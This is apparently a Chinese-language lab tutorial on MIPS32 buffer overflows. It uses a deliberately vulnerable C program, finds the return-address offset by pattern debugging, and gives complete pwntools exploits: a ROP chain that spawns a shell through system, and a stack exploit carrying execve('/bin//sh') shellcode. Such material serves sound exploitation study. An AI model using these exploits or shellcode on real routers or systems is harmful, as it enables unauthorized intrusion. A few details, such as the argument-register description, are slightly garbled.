mips缓冲区溢出
MIPS32 堆栈
与传统PC的x86相比,MIPS32的函数调用存在以下差异:
- MIPS架构中没有EBP(栈底指针)。
- 前四个参数分别保存在a3寄存器中,剩下的参数从右往左依次入栈
- x86架构中,call命令调用函数时返回地址入栈,而MIPS的调用指令把函数的返回地址存入$ra寄存器。
叶子函数与非叶子函数
概念:如果一个函数A中不再调用其他任何函数,那么当前的函数A就是一个叶子函数,否则函数A就是一个非叶子函数。
在函数调用过程中,函数调用指令将返回地址复制到$ra寄存器,然后跳转到被调用的函数。
- 如果被调用的函数是叶子函数,那么在被调函数返回时直接执行jr $ra返回。
- 如果被调函数为非叶子函数,那么被调函数会先将
$ra
存入栈中,返回时从栈中取出保存的返回地址到$ra
再执行jr $ra
。
非叶子函数:
subcall.c
#include <stdio.h>
void hello(){
printf("hello word");
}
void main()
{
hello();
}
交叉编译:mips-linux-gcc subcall.c -static -o subcall
使用IDA 查看subcall:
subcall.png
hello函数为非叶子函数,通过sw $ra, 0x20+var_4($sp)
指令将$ra
中的返回地址保存到栈上,在返回时通过lw $ra, 0x20+var_4($sp)
指令将返回地址取回$ra
。
叶子函数则无这个过程。
缓冲区溢出
如果上面的hello函数中的局部变量存在缓冲区溢出,则可通过覆盖栈上保存的$ra的值,进行漏洞利用。
家用路由器漏洞挖掘中的简单示例:
vuln.c
#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <string.h>
void do_system(int code,char *cmd)
{
char buf[255];
//sleep(1);
system(cmd);
}
int main()
{
char buf[256]={0};
char ch;
int count = 0;
unsigned int fileLen = 0;
struct stat fileData;
FILE *fp;
if(0 == stat("passwd",&fileData))
fileLen = fileData.st_size;
else
return 1;
if((fp = fopen("passwd","rb")) == NULL)
{
printf("Cannot open file passwd!\n");
exit(1);
}
ch=fgetc(fp);
while(count <= fileLen)
{
buf[count++] = ch;
ch = fgetc(fp);
}
buf[--count] = '\x00';
if(!strcmp(buf,"adminpwd"))
{
do_system(count,"ls -l");
}
else
{
printf("you have an invalid password!\n");
}
fclose(fp);
return 0;
}
交叉编译:
mips-linux-gcc vuln.c -static -o vuln
代码功能很简单,从passwd文件中读取密码,密码为adminpwd时密码正确,执行ls -l命令,在读取密码向buf中赋值时存在缓冲区溢出漏洞。
确定溢出点
使用py脚本构造一个600字符的字符串写入passwd:
$python pattern.py create 600 > passwd
$cat passwd
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9
使用IDA进行动态调试:
$qemu-mips -g 1234 overflow
ida连接调试端口1234
通过观察IDA中ra的值,ra为6E37416E,因为此程序为大端序,所以实际顺序为6E41376E
local.png
确定溢出点:
$python pattern.py offset 6E41376E
hex pattern decoded as: n7An
412
ROP利用
程序存在do_system(int code,char *cmd)函数调用system,cmd为第二个参数,所以使用$a1
寄存器传递。
漏洞利用思路:
- 寻找能够控制
$a1
寄存器的指令,并将'sh'传入。 - 控制
$a1
后跳转到do_system函数,执行system('sh').
使用IDA的mipsrop插件寻找相关gadget:
gadget.png
其中我们可通过缓冲区溢出控制栈内容,所以可使用0x00401F80 | addiu $a1,$sp,0x58+var_40 | jr 0x58+var_4($sp)
指令控制$a1寄存器。
调用do_system的地址为:0x0040066C
do_system.png
构造完整exp:
from pwn import *
context(arch='mips', os='linux', endian='big', word_size=32)
cmd = 'sh'
cmd+="\x00"*(4-len(cmd)%4)
system_addr=0x0040066C
rop_addr=0x00401F80
payload = 'a'*0x19c+p32(rop_addr)
payload +='b'*0x18+cmd
payload +='c'*(0x3c-len(cmd))
payload +=p32(system_addr)
fp=open('passwd','wb')
fp.write(payload)
fp.close()
res1.png
Shellcode 利用
从exploit-db上找一个mips架构下大端序的shellcode:https://www.exploit-db.com/shellcodes/18162
c语言版shellcode:
char sc[] = {
"\x28\x06\xff\xff" /* slti a2,zero,-1 */
"\x3c\x0f\x2f\x2f" /* lui t7,0x2f2f */
"\x35\xef\x62\x69" /* ori t7,t7,0x6269 */
"\xaf\xaf\xff\xf4" /* sw t7,-12(sp) */
"\x3c\x0e\x6e\x2f" /* lui t6,0x6e2f */
"\x35\xce\x73\x68" /* ori t6,t6,0x7368 */
"\xaf\xae\xff\xf8" /* sw t6,-8(sp) */
"\xaf\xa0\xff\xfc" /* sw zero,-4(sp) */
"\x27\xa4\xff\xf4" /* addiu a0,sp,-12 */
"\x28\x05\xff\xff" /* slti a1,zero,-1 */
"\x24\x02\x0f\xab" /* li v0,4011 */
"\x01\x01\x01\x0c" /* syscall 0x40404 */
};
漏洞利用思路:
- 将栈上保存的$ra寄存器值修改为shellcode地址,返回时跳转到shellcode执行
构造payload:
payload = 'a'*0x19c+p32(shell_addr)+shellcode
根据刚才发送的600个字符串,0x76FFEE44地址保存$ra的值,可将shellcode写到它的下一个地址0x76FFEE48。
shelladdr.png
所以shell_addr = 0x76FFEE48
完整poc:
from pwn import *
context(arch='mips', os='linux', endian='big', word_size=32)
shellcode="\x28\x06\xff\xff"
shellcode+="\x3c\x0f\x2f\x2f"
shellcode+="\x35\xef\x62\x69"
shellcode+="\xaf\xaf\xff\xf4"
shellcode+="\x3c\x0e\x6e\x2f"
shellcode+="\x35\xce\x73\x68"
shellcode+="\xaf\xae\xff\xf8"
shellcode+="\xaf\xa0\xff\xfc"
shellcode+="\x27\xa4\xff\xf4"
shellcode+="\x28\x05\xff\xff"
shellcode+="\x24\x02\x0f\xab"
shellcode+="\x01\x01\x01\x0c"
shell_addr=0x76FFEE48
payload = 'a'*0x19c+p32(shell_addr)+shellcode
fp=open('passwd','wb')
fp.write(payload)
fp.close()
res2.png
这里存在问题,将payload写入passwd后直接执行vuln,程序出错。通过IDA动态调试的方式运行,成功获得了shell。猜测是MIPS CACHE INCOHERENCY的问题,后续将深入研究。